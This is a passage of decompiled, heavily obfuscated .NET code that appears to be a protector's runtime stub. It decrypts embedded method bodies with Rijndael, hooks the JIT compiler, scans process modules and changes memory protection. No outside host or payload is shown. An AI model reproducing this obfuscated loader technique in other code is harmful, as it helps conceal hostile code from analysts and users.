57; if (true) goto label_288; else goto case 243; case 329: numArray1[30] = (byte) (89 + 3); num4 = 333; goto label_288; case 330: numArray2[12] = (byte) num3; num1 = 126; continue; case 331: ebVKeUQJotY5IdGdNW.KFo9xjnJtIutWMS59s((object) cryptoStream); num6 = 248; break; case 332: numArray2[1] = (byte) num3; num1 = 115; continue; case 333: numArray1[30] = (byte) (183 - 95); num6 = 223; break; case 334: num5 = 205 - 68; num1 = 344; continue; case 335: numArray1[13] = (byte) (74 + 114); num6 = 98; break; case 336: numArray2[3] = (byte) (254 - 84); num4 = 145; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 228; case 337: num5 = 13 + 21; num6 = 257; break; case 338: numArray2[9] = (byte) num3; num4 = 54; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 263; case 339: num5 = 87 + 100; num4 = 308; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 333; else goto label_288; case 340: numArray2[9] = (byte) num3; num4 = 324; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 48; else goto label_288; case 341: numArray1[9] = (byte) num5; num1 = 182; continue; case 342: num3 = 219 - 73; num4 = 6; goto label_288; case 343: num5 = 128 - 42; num1 = 291; continue; case 344: numArray1[12] = (byte) num5; num4 = 70; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 291; case 345: num3 = 97 + 87; num4 = 17; if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto case 180; else goto label_288; case 346: numArray2[13] = (byte) (83 + 54); num4 = 35; if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto label_288; else goto case 107; case 347: numArray2[12] = (byte) (245 - 81); num4 = 299; goto label_288; case 348: num5 = 4 + 79; num4 = 85; goto label_288; case 349: numArray3 = numArray2; num4 = 247; if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4()) goto case 214; else goto label_288; case 350: numArray2[6] = (byte) (132 - 44); num6 = 259; break; case 351: numArray2[12] = (byte) num3; num1 = 319; continue; case 352: numArray1[19] = (byte) num5; num6 = 114; break; case 353: memoryStream = new MemoryStream(); num1 = 233; continue; case 354: num5 = 95 + 35; num4 = 91; goto label_288; case 355: num5 = 107 + 19; num1 = 188; continue; case 356: numArray1[25] = (byte) num5; num4 = 354; goto label_288; case 357: numArray2[15] = (byte) num3; num1 = 278; continue; case 358: numArray2[7] = (byte) num3; num1 = 178; continue; case 359: numArray1[17] = (byte) num5; num1 = 67; continue; case 360: numArray1[23] = (byte) (152 + 82); num6 = 185; break; case 361: num3 = 107 + 19; num1 = 358; continue; case 362: num5 = 14 + 47; num1 = 143; continue; case 363: num3 = 104 - 86; num4 = 332; if (true) goto label_288; else goto case 311; case 364: numArray1[4] = (byte) num5; num6 = 197; break; case 365: numArray1[10] = (byte) num5; num4 = 27; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 324; case 366: numArray1[26] = (byte) num5; num1 = 105; continue; case 367: num5 = 104 + 48; num1 = 258; continue; case 368: num5 = 5 + 58; num4 = 214; if (true) goto label_288; else goto case 117; case 369: numArray1[13] = (byte) (164 + 62); num1 = 152; continue; case 370: numArray1[13] = (byte) num5; num1 = 32; continue; case 371: numArray1[17] = (byte) (133 - 44); num1 = 47; continue; case 372: numArray2[2] = (byte) num3; num4 = 193; if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto label_288; else goto case 167; case 373: goto label_379; default: num4 = 97; if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk()) goto case 360; else goto label_288; } num4 = num6; label_288: num1 = num4; } label_379: try { return (string) ebVKeUQJotY5IdGdNW.PotuIO4mGfaaVLfDHD(ebVKeUQJotY5IdGdNW.uIRWaEXq0oqBcyhJOm(), (object) ebVKeUQJotY5IdGdNW.gbcXCakqv, obj0 + 4, num2); } catch { } return ""; } [ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm[]))] [MethodImpl(MethodImplOptions.NoInlining)] internal static string Mu1NjLd4D([In] string obj0) { "{11111-22222-50001-00000}".Trim(); byte[] bytes = Convert.FromBase64String(obj0); return Encoding.Unicode.GetString(bytes, 0, bytes.Length); } [ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm[]))] [MethodImpl(MethodImplOptions.NoInlining)] internal static uint DvYigmja2( [MarshalAs(UnmanagedType.U8)] ref ulong _param0, [In] IntPtr obj1, [In] IntPtr obj2, [MarshalAs(UnmanagedType.U4)] uint _param3, [In] ref IntPtr obj4, [In] ref uint obj5) { if (ebVKeUQJotY5IdGdNW.Ddd7QgGlp) { if (ebVKeUQJotY5IdGdNW.nBw8CvPtM == Marshal.ReadIntPtr(obj2, IntPtr.Size)) { if (IntPtr.Size == 4) { try { int num1 = Marshal.ReadInt32(obj2, 8); int index = Marshal.ReadInt32(new IntPtr(num1)); bool flag = false; if (index >= 1879048192) { index -= 1879048192; flag = true; } if (index < ebVKeUQJotY5IdGdNW.gIeSg3usw.Length) { if (ebVKeUQJotY5IdGdNW.ufjDNIIUq[index] == (long) num1) { byte[] source = ebVKeUQJotY5IdGdNW.gIeSg3usw[index]; IntPtr num2 = Marshal.AllocCoTaskMem(source.Length); Marshal.Copy(source, 0, num2, source.Length); if (flag) { obj4 = num2; obj5 = (uint) source.Length; return 0; } Marshal.WriteIntPtr(obj2, 8, num2); Marshal.WriteInt32(obj2, 12, source.Length); return ebVKeUQJotY5IdGdNW.p1ce5FDX3(ref _param0, obj1, obj2, _param3, ref obj4, ref obj5); } } } catch { } } else { try { long num3 = Marshal.ReadInt64(obj2, 16); int index = Marshal.ReadInt32(new IntPtr(num3)); bool flag = false; if (index >= 1879048192) { index -= 1879048192; flag = true; } if (index < ebVKeUQJotY5IdGdNW.gIeSg3usw.Length) { if (ebVKeUQJotY5IdGdNW.ufjDNIIUq[index] == num3) { byte[] source = ebVKeUQJotY5IdGdNW.gIeSg3usw[index]; IntPtr num4 = Marshal.AllocCoTaskMem(source.Length); Marshal.Copy(source, 0, num4, source.Length); if (flag) { obj4 = num4; obj5 = (uint) source.Length; return 0; } Marshal.WriteIntPtr(obj2, 16, num4); Marshal.WriteInt32(obj2, 24, source.Length); } } } catch { } } } return ebVKeUQJotY5IdGdNW.p1ce5FDX3(ref _param0, obj1, obj2, _param3, ref obj4, ref obj5); } ebVKeUQJotY5IdGdNW.Ddd7QgGlp = true; ebVKeUQJotY5IdGdNW.nBw8CvPtM = Marshal.ReadIntPtr(obj2, IntPtr.Size); return ebVKeUQJotY5IdGdNW.p1ce5FDX3(ref _param0, obj1, obj2, _param3, ref obj4, ref obj5); } [MethodImpl(MethodImplOptions.NoInlining)] static void SJFGuZaaV() { } [ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm[]))] [MethodImpl(MethodImplOptions.NoInlining)] static void FY0pFREJk() { int num1 = 38; label_28: while (true) { int num2 = num1; label_29: byte[] numArray1; int num3; int num4; byte[] numArray2; IntPtr num5; int num6; BinaryReader binaryReader; byte[] numArray3; long num7; long num8; IntPtr num9; byte[] numArray4; RijndaelManaged rijndaelManaged; long int64; IntPtr num10; int num11; string str1; while (true) { string str2; do { int num12; byte[] numArray5; byte[] numArray6; int index; byte[] numArray7; byte[] numArray8; IntPtr num13; byte[] numArray9; int num14; int num15; ulong num16; do { do { do { do { int num17; IntPtr num18; IntPtr num19; do { byte[] buffer; CryptoStream cryptoStream; bool flag; MemoryStream memoryStream; uint num20; do { int num21 = num2; int num22; while (true) { IntPtr num23; IntPtr num24; Process process; ICryptoTransform transform; ebVKeUQJotY5IdGdNW.MttKDN6ssv7t5XCD4h mttKdN6ssv7t5XcD4h; switch (num21) { case 0: goto label_245; case 1: numArray1[5] = (byte) num3; num21 = 324; continue; case 2: goto label_57; case 3: goto label_90; case 4: goto label_294; case 5: num3 = 129 - 113; num21 = 146; continue; case 6: numArray1[16] = (byte) (51 + 70); num21 = 82; continue; case 7: goto label_115; case 8: cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write); num21 = 25; continue; case 9: goto label_330; case 10: goto label_99; case 11: num6 = 252 - 84; goto case 205; case 12: num3 = 197 - 65; num21 = 345; continue; case 13: num3 = 180 - 60; num21 = 407; continue; case 14: numArray1[10] = (byte) (199 - 113); num2 = 187; if (true) goto label_29; else goto case 443; case 15: goto label_423; case 16: numArray4[2] = (byte) 114; num2 = 304; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_29; else goto case 372; case 17: goto label_258; case 18: goto label_352; case 19: goto label_349; case 20: ebVKeUQJotY5IdGdNW.ud76QUgni(new IntPtr(num7), ebVKeUQJotY5IdGdNW.ADNsbrNwBBGFe0rAli(), num14, ref num14); num2 = 78; if (true) goto label_29; else goto case 129; case 21: goto label_241; case 22: num3 = 192 - 117; num2 = 246; if (true) goto label_29; else goto case 16; case 23: num6 = 79 + 5; num21 = 351; continue; case 24: goto label_335; case 25: goto label_59; case 26: numArray1[10] = (byte) (19 + 14); num21 = 429; continue; case 27: num3 = 132 - 44; num2 = 145; if (true) goto label_29; else goto case 162; case 28: numArray1[26] = (byte) num3; num21 = 81; continue; case 29: ebVKeUQJotY5IdGdNW.gIeSg3usw = new byte[ebVKeUQJotY5IdGdNW.ufjDNIIUq.Length][]; num21 = 253; continue; case 30: goto label_284; case 31: numArray2[4] = (byte) (149 + 24); num21 = 341; continue; case 32: num3 = 88 + 22; num2 = 96; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_29; else goto case 221; case 33: numArray1[31] = (byte) num3; num21 = 197; continue; case 34: goto label_201; case 35: numArray1[3] = (byte) (98 + 109); num21 = 347; continue; case 36: numArray1[13] = (byte) (180 - 60); num21 = 390; continue; case 37: goto label_297; case 38: if (!ebVKeUQJotY5IdGdNW.hNfjH4VW7) { num21 = 47; continue; } goto label_479; case 39: goto label_234; case 40: numArray1[14] = (byte) num3; num2 = 91; if (true) goto label_29; else goto case 397; case 41: num3 = 166 - 55; num2 = 405; if (true) goto label_29; else goto case 32; case 42: goto label_503; case 43: goto label_402; case 44: numArray2[14] = (byte) (225 - 75); num21 = 217; continue; case 45: num3 = 235 - 78; num21 = 7; continue; case 46: goto label_178; case 47: goto label_80; case 48: num6 = 206 + 2; num2 = 329; if (true) goto label_29; else goto case 301; case 49: goto label_238; case 50: numArray1[10] = (byte) (66 + 61); num21 = 98; continue; case 51: case 219: if (num4 >= num17) { num21 = 169; continue; } goto label_510; case 52: goto label_377; case 53: goto label_210; case 54: numArray1[16] = (byte) (47 - 30); num21 = 312; continue; case 55: goto label_516; case 56: goto label_252; case 57: goto label_332; case 58: num3 = 205 - 103; num21 = 311; continue; case 59: numArray2[1] = (byte) num6; num21 = 441; continue; case 60: numArray1[4] = (byte) (120 + 33); num21 = 89; continue; case 61: goto label_462; case 62: goto label_308; case 63: goto label_362; case 64: goto label_231; case 65: case 374: ebVKeUQJotY5IdGdNW.ud76QUgni(num13, 4, num12, ref num12); num21 = 335; continue; case 66: numArray1[17] = (byte) (79 - 34); num2 = 13; if (true) goto label_29; else goto case 362; case 67: goto label_21; case 68: goto label_507; case 69: numArray1[7] = (byte) (230 - 76); num21 = 210; continue; case 70: numArray2[13] = (byte) (126 - 42); num21 = 298; continue; case 71: goto label_310; case 72: numArray1[27] = (byte) num3; num21 = 166; continue; case 73: num6 = 142 - 47; num2 = 346; if (true) goto label_29; else goto case 227; case 74: goto label_13; case 75: goto label_327; case 76: goto label_417; case 77: goto label_235; case 78: goto label_523; case 79: goto label_407; case 80: goto label_317; case 81: numArray1[26] = (byte) (215 - 95); num21 = 86; continue; case 82: numArray1[16] = (byte) (211 - 70); num2 = 424; if (true) goto label_29; else goto case 6; case 83: goto label_364; case 84: goto label_382; case 85: goto label_359; case 86: numArray1[27] = (byte) (197 - 65); num21 = 242; continue; case 87: goto label_415; case 88: numArray1[18] = (byte) num3; num21 = 355; continue; case 89: goto label_375; case 90: num3 = 37 + 13; num21 = 368; continue; case 91: numArray1[14] = (byte) (114 + 52); num2 = 12; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_29; else goto case 334; case 92: numArray1[19] = (byte) num3; num2 = 450; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_29; else goto case 212; case 93: goto label_225; case 94: goto label_307; case 95: goto label_75; case 96: goto label_246; case 97: numArray2[1] = (byte) (22 + 45); num2 = 359; if (true) goto label_29; else goto case 197; case 98: goto label_213; case 99: goto label_413; case 100: goto label_263; case 101: goto label_256; case 102: num3 = 198 - 66; num21 = 94; continue; case 103: goto label_504; case 104: num6 = 240 - 80; num21 = 402; continue; case 105: numArray1[28] = (byte) (81 + 42); num21 = 175; continue; case 106: goto label_249; case 107: goto label_218; case 108: goto label_33; case 109: numArray2[15] = (byte) num6; num21 = 113; continue; case 110: goto label_443; case 111: goto label_26; case 112: numArray5[11] = numArray6[5]; num2 = 241; if (true) goto label_29; else goto case 271; case 113: numArray2[15] = (byte) (66 + 12); num2 = 223; if (true) goto label_29; else goto case 427; case 114: goto label_300; case 115: num3 = 86 + 56; num2 = 87; if (true) goto label_29; else goto case 270; case 116: num20 = 0U; num21 = 147; continue; case 117: goto label_304; case 118: goto label_397; case 119: goto label_365; case 120: goto label_406; case 121: numArray2[8] = (byte) (96 - 16); num21 = 61; continue; case 122: goto label_367; case 123: goto label_36; case 124: goto label_520; case 125: num3 = 110 + 89; num21 = 331; continue; case 126: goto label_336; case (int) sbyte.MaxValue: goto label_45; case 128: goto label_370; case 129: numArray1[4] = (byte) num3; num21 = 370; continue; case 130: numArray2[1] = (byte) num6; num21 = 165; continue; case 131: goto label_314; case 132: goto label_452; case 133: numArray4 = new byte[10]; num21 = 213; continue; case 134: goto label_63; case 135: goto label_321; case 136: goto label_191; case 137: goto label_41; case 138: goto label_509; case 139: goto label_387; case 140: goto label_368; case 141: num6 = 86 + 58; num2 = 49; if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto case 301; else goto label_29; case 142: numArray2[7] = (byte) (146 + 64); num21 = 254; continue; case 143: num3 = 229 - 76; num21 = 71; continue; case 144: numArray2[12] = (byte) (158 - 52); num2 = 48; if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto case 301; else goto label_29; case 145: numArray1[15] = (byte) num3; num21 = 303; continue; case 146: goto label_515; case 147: goto label_232; case 148: goto label_271; case 149: goto label_440; case 150: goto label_11; case 151: num3 = 161 + 58; num21 = 427; continue; case 152: goto label_98; case 153: ebVKeUQJotY5IdGdNW.xm3sCgZLslZ69UwNk6((object) memoryStream); num21 = 136; continue; case 154: numArray2[11] = (byte) (242 - 80); num21 = 343; continue; case 155: case 179: process = (Process) ebVKeUQJotY5IdGdNW.nCsJHndtrWihmbV9CH(); num2 = 306; if (true) goto label_29; else goto case 333; case 156: goto label_129; case 157: goto label_65; case 158: goto label_301; case 159: goto label_498; case 160: numArray3[0] = (byte) 103; num21 = 74; continue; case 161: goto label_299; case 162: num6 = 80 + 66; num21 = 59; continue; case 163: goto label_420; case 164: goto label_35; case 165: num6 = 120 + 41; num21 = 379; continue; case 166: goto label_502; case 167: numArray4[9] = (byte) 108; num21 = 181; continue; case 168: goto label_512; case 169: goto label_114; case 170: numArray4[7] = (byte) 100; num21 = 232; continue; case 171: numArray1[15] = (byte) num3; num2 = 243; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_29; else goto case 105; case 172: goto label_363; case 173: goto label_39; case 174: numArray5[5] = numArray6[2]; num21 = 338; continue; case 175: goto label_505; case 176: goto label_353; case 177: numArray1[24] = (byte) num3; num21 = 410; continue; case 178: goto label_233; case 180: // ISSUE: type reference mttKdN6ssv7t5XcD4h = (ebVKeUQJotY5IdGdNW.MttKDN6ssv7t5XCD4h) ebVKeUQJotY5IdGdNW.\u0033FK47EGLqy9BbMPjXA(num23, ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW.MttKDN6ssv7t5XCD4h))); num21 = 373; continue; case 181: goto label_525; case 182: numArray5[3] = numArray6[1]; num21 = 174; continue; case 183: numArray1[22] = (byte) (79 - 35); num21 = 45; continue; case 184: goto label_182; case 185: // ISSUE: type reference if (ebVKeUQJotY5IdGdNW.\u0037h8dKB7JHZfd1qf2To((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly) != null) { num21 = 413; continue; } goto label_394; case 186: goto label_183; case 187: numArray1[11] = (byte) ((int) sbyte.MaxValue - 42); num21 = 32; continue; case 188: numArray1 = new byte[32]; num21 = 270; continue; case 189: transform = (ICryptoTransform) ebVKeUQJotY5IdGdNW.KSbJegMdRD9MEXCI5U((object) rijndaelManaged, (object) numArray9, (object) numArray5); num2 = 340; if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto case 32; else goto label_29; case 190: goto label_184; case 191: goto label_464; case 192: goto label_506; case 193: if (ebVKeUQJotY5IdGdNW.ADNsbrNwBBGFe0rAli() == 4) { num21 = 176; continue; } num7 = ebVKeUQJotY5IdGdNW.EnsIQRI83GGSP1iwiX(num19); num21 = 445; continue; case 194: numArray1[17] = (byte) num3; num21 = 53; continue; case 195: goto label_112; case 196: goto label_37; case 197: numArray1[31] = (byte) (232 - 77); num21 = 384; continue; case 198: goto label_53; case 199: num3 = 56 + 71; num2 = 409; if (true) goto label_29; else goto case 360; case 200: goto label_379; case 201: goto label_517; case 202: numArray1[28] = (byte) num3; num21 = 105; continue; case 203: goto label_97; case 204: num3 = 231 - 77; num21 = 438; continue; case 205: case 236: numArray2[2] = (byte) num6; num21 = 104; continue; case 206: goto label_416; case 207: goto label_328; case 208: goto label_244; case 209: ebVKeUQJotY5IdGdNW.bMuuf1sEiUCTRmuruU((object) cryptoStream); num21 = 297; continue; case 210: goto label_439; case 211: ebVKeUQJotY5IdGdNW.qtw6Y63n394PWtw1Qd(ebVKeUQJotY5IdGdNW.\u0039slFhO6Zyjqu52QWgD((object) binaryReader), 0L); num21 = 387; continue; case 212: numArray4[9] = (byte) 100; num21 = 114; continue; case 213: numArray4[0] = (byte) 99; num21 = 442; continue; case 214: goto label_337; case 215: goto label_257; case 216: numArray1[24] = (byte) num3; num21 = 199; continue; case 217: numArray2[14] = (byte) (208 - 69); num21 = 164; continue; case 218: goto label_333; case 220: if (!ebVKeUQJotY5IdGdNW.Xj1isH2kjkv70LY4U3(num10, IntPtr.Zero)) goto case 448; else goto label_111; case 221: numArray2[7] = (byte) (11 + 7); num2 = 43; if (true) goto label_29; else goto case 222; case 222: numArray2[13] = (byte) (246 - 82); num2 = 70; if (true) goto label_29; else goto case 250; case 223: numArray2[15] = (byte) (244 - 81); num21 = 231; continue; case 224: goto label_496; case 225: case 375: numArray2[1] = (byte) num6; num2 = 420; if (true) goto label_29; else goto case 258; case 226: goto label_369; case 227: numArray2[6] = (byte) (160 - 53); num21 = 364; continue; case 228: goto label_87; case 229: goto label_399; case 230: goto label_61; case 231: goto label_117; case 232: goto label_77; case 233: // ISSUE: type reference if (ebVKeUQJotY5IdGdNW.DSeHdiqqaYUJ82ElSX((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly) != null) { num21 = 163; continue; } goto label_394; case 234: goto label_445; case 235: num13 = new IntPtr(int64 + (long) num22); num21 = 247; continue; case 237: goto label_130; case 238: goto label_409; case 239: goto label_478; case 240: goto label_48; case 241: goto label_199; case 242: numArray1[27] = (byte) (39 + 72); num2 = 435; if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto case 116; else goto label_29; case 243: goto label_1; case 244: goto label_38; case 245: num22 = ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader) - num11; num2 = 284; if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto case 306; else goto label_29; case 246: goto label_62; case 247: goto label_389; case 248: goto label_446; case 249: goto label_430; case 250: numArray2[14] = (byte) (49 + 124); num21 = 55; continue; case 251: num23 = ebVKeUQJotY5IdGdNW.ELesPQern(num10, str2); num21 = 180; continue; case 252: goto label_400; case 253: flag = false; num2 = 276; if (true) goto label_29; else goto case 141; case 254: goto label_453; case (int) byte.MaxValue: goto label_414; case 256: goto label_398; case 257: ebVKeUQJotY5IdGdNW.ud76QUgni(num5, 4, num12, ref num12); num21 = 392; continue; case 258: numArray1[29] = (byte) (219 - 73); num21 = 447; continue; case 259: goto label_410; case 260: num3 = 128 - 42; num2 = 42; if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto case 408; else goto label_29; case 261: goto label_175; case 262: numArray2[10] = (byte) (225 - 75); num2 = 239; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_29; else goto case 14; case 263: goto label_305; case 264: numArray1[25] = (byte) num3; num21 = 415; continue; case 265: num3 = 121 + 104; num21 = 408; continue; case 266: goto label_390; case 267: num3 = 198 - 66; num2 = 148; if (true) goto label_29; else goto case 286; case 268: num3 = 175 - 58; num2 = 206; if (true) goto label_29; else goto case 381; case 269: num6 = 106 + 75; num21 = 122; continue; case 270: numArray1[0] = (byte) (156 - 52); num21 = 260; continue; case 271: if (ebVKeUQJotY5IdGdNW.ADNsbrNwBBGFe0rAli() == 4) { num2 = 414; if (true) goto label_29; else goto case 281; } else goto label_499; case 272: goto label_67; case 273: goto label_497; case 274: goto label_193; case 275: numArray2[15] = (byte) (149 - 49); num2 = 293; if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto case 360; else goto label_29; case 276: case 335: goto label_226; case 277: goto label_309; case 278: numArray1[5] = (byte) num3; num2 = 356; if (true) goto label_29; else goto case 380; case 279: goto label_107; case 280: goto label_52; case 281: numArray1[13] = (byte) (113 + 117); num21 = 337; continue; case 282: goto label_261; case 283: goto label_5; case 284: goto label_173; case 285: numArray2[4] = (byte) (17 + 17); num21 = 75; continue; case 286: numArray2[2] = (byte) (125 - 41); num21 = 261; continue; case 287: numArray1[7] = (byte) (5 + 53); num21 = 383; continue; case 288: numArray2[13] = (byte) (225 - 75); num2 = 222; if (true) goto label_29; else goto case 313; case 289: numArray1[6] = (byte) num3; num21 = 101; continue; case 290: goto label_2; case 291: numArray4[2] = (byte) 99; num21 = 417; continue; case 292: goto label_220; case 293: goto label_189; case 294: goto label_422; case 295: numArray1[10] = (byte) num3; num2 = 14; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_29; else goto case 202; case 296: // ISSUE: type reference numArray6 = (byte[]) ebVKeUQJotY5IdGdNW.\u0031xwk1O5lFoGQJY9VP3(ebVKeUQJotY5IdGdNW.H8HOdg9ZxEDr2eY5KJ((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)); num2 = 446; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_29; else goto case 264; case 297: goto label_366; case 298: goto label_221; case 299: goto label_441; case 300: goto label_96; case 301: num3 = 74 + 51; num21 = 376; continue; case 302: num3 = 82 + 73; num21 = 280; continue; case 303: goto label_286; case 304: numArray4[3] = (byte) 106; num21 = 152; continue; case 305: numArray4[6] = (byte) 46; num21 = 170; continue; case 306: try { IEnumerator enumerator = (IEnumerator) ebVKeUQJotY5IdGdNW.EWoqJfQ5D2h4sxWWmE((object) (ProcessModuleCollection) ebVKeUQJotY5IdGdNW.NoplgwSAMLPsqh6vfi((object) process)); try { label_143: // ISSUE: type reference do { ProcessModule processModule; int num25; int num26; if (ebVKeUQJotY5IdGdNW.qomGGPDA60c5KjlY9Z((object) enumerator)) { processModule = (ProcessModule) ebVKeUQJotY5IdGdNW.cuBWthAc1ZsRfkEQuq((object) enumerator); num25 = 5; } else { num26 = 7; goto label_150; } label_148: int num27 = num25; label_149: num26 = num27; label_150: while (true) { switch (num26) { case 0: case 3: goto label_139; case 1: if (num8 >= ebVKeUQJotY5IdGdNW.dWSgRxogR2hxpkZcPr((object) processModule).ToInt64()) { num27 = 2; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_149; else goto case 2; } else goto label_139; case 2: if (num8 <= ebVKeUQJotY5IdGdNW.dWSgRxogR2hxpkZcPr((object) processModule).ToInt64() + (long) ebVKeUQJotY5IdGdNW.i0kS7bFnqxtgJcdAAk((object) processModule)) goto label_143; else break; case 4: goto label_495; case 5: goto label_141; case 6: goto label_487; case 7: goto label_157; } if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) num26 = 6; else goto label_152; } label_139: continue; label_141: if (ebVKeUQJotY5IdGdNW.PmxnMNfU3VIuoCjecS(ebVKeUQJotY5IdGdNW.Nor5Kj8f9JNJxqyjpX((object) processModule), (object) str1)) { num25 = 1; goto label_148; } else continue; label_152: num27 = 0; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_149; else goto label_157; } while (ebVKeUQJotY5IdGdNW.\u0037h8dKB7JHZfd1qf2To((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly) == null); return; label_487: return; label_495: return; } finally { if (enumerator is IDisposable disposable) ebVKeUQJotY5IdGdNW.\u0038LtoaePALeeU9V4Jfp((object) disposable); } } catch { } label_157: try { IEnumerator enumerator = (IEnumerator) ebVKeUQJotY5IdGdNW.EWoqJfQ5D2h4sxWWmE((object) (ProcessModuleCollection) ebVKeUQJotY5IdGdNW.NoplgwSAMLPsqh6vfi((object) process)); try { label_160: ProcessModule processModule; int num28; int num29; if (ebVKeUQJotY5IdGdNW.qomGGPDA60c5KjlY9Z((object) enumerator)) { processModule = (ProcessModule) ebVKeUQJotY5IdGdNW.cuBWthAc1ZsRfkEQuq((object) enumerator); num28 = 0; if (false) goto label_172; } else { num29 = 6; goto label_166; } label_165: num29 = num28; label_166: IntPtr num30; switch (num29) { case 0: num30 = ebVKeUQJotY5IdGdNW.dWSgRxogR2hxpkZcPr((object) processModule); num28 = 1; goto label_165; case 1: if (num30.ToInt64() != ebVKeUQJotY5IdGdNW.\u0033qiRntTf2) goto label_160; else break; case 2: case 4: num11 = 0; goto label_172; case 3: case 5: case 6: goto label_172; } num28 = ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9() ? 5 : 4; goto label_165; } finally { if (enumerator is IDisposable disposable) ebVKeUQJotY5IdGdNW.\u0038LtoaePALeeU9V4Jfp((object) disposable); } } catch { } label_172: ebVKeUQJotY5IdGdNW.p1ce5FDX3 = (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm) null; num21 = 191; continue; case 307: goto label_403; case 308: int64 = num24.ToInt64(); num2 = 244; if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto case 344; else goto label_29; case 309: goto label_243; case 310: goto label_296; case 311: numArray1[2] = (byte) num3; num2 = 302; if (true) goto label_29; else goto case 413; case 312: goto label_342; case 313: ebVKeUQJotY5IdGdNW.ud76QUgni(num5, 4, 4, ref num12); num2 = 426; if (true) goto label_29; else goto case 116; case 314: goto label_214; case 315: goto label_360; case 316: goto label_109; case 317: goto label_318; case 318: goto label_315; case 319: numArray1[1] = (byte) (218 - 72); num21 = 268; continue; case 320: goto label_239; case 321: numArray1[20] = (byte) (32 + 115); num2 = 173; if (true) goto label_29; else goto case 27; case 322: goto label_499; case 323: num3 = 18 + 98; num21 = 290; continue; case 324: goto label_58; case 325: numArray1[7] = (byte) (16 + 42); num21 = 366; continue; case 326: num6 = 115 + 65; num21 = 406; continue; case 327: goto label_432; case 328: goto label_51; case 329: goto label_113; case 330: goto label_341; case 331: goto label_100; case 332: goto label_306; case 333: numArray3[5] = (byte) 116; num2 = 124; if (true) goto label_29; else goto case 104; case 334: num3 = 69 + 76; num21 = 140; continue; case 336: goto label_259; case 337: goto label_19; case 338: numArray5[7] = numArray6[3]; num2 = 126; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_29; else goto case 430; case 339: goto label_86; case 340: goto label_519; case 341: goto label_88; case 342: goto label_123; case 343: num6 = 89 + 18; num21 = 393; continue; case 344: num6 = 156 - 52; num21 = 100; continue; case 345: numArray1[14] = (byte) num3; num21 = 135; continue; case 346: goto label_383; case 347: goto label_269; case 348: numArray2[3] = (byte) (101 + 40); num21 = 0; continue; case 349: goto label_177; case 350: goto label_273; case 351: numArray2[8] = (byte) num6; num21 = 428; continue; case 352: goto label_345; case 353: goto label_281; case 354: if (flag) { num21 = 229; continue; } ebVKeUQJotY5IdGdNW.kGOIADEgPtl2ivfJXa(num13, index); num2 = 374; if (true) goto label_29; else goto case 88; case 355: num3 = 115 - 50; num2 = 274; if 